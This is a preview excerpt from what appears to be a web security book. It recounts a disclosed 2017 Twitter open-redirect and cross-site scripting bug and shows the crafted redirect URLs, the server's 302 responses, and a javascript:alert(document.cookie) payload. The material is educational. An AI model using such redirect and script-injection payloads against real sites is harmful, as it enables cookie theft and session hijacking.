November 2018
Beginner to intermediate
270 pages
7h 53m
English
On September 29th, 2017, a researcher named Sergey Bobrov published a vulnerability that affected Twitter. This is a clear case of one of the examples we reviewed before.
Sergey Bobrov discovered the following redirection in Twitter's code:
https://dev.twitter.com/https:/%5cblackfan.ru/
By analyzing the application's response, he got the following result:
HTTP/1.1 302 Found connection: close ... location: https:/\blackfan.ru
To exploit it, he entered a JavaScript code into the URL to be evaluated by the application, as follows:
https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/
The HTTP response, generated by Twitter was:
HTTP/1.1 302 Found
connection: close
...
location: //x:1/://dev.twitter.com/javascript:alert(document.cookie) ...Read now
Unlock full access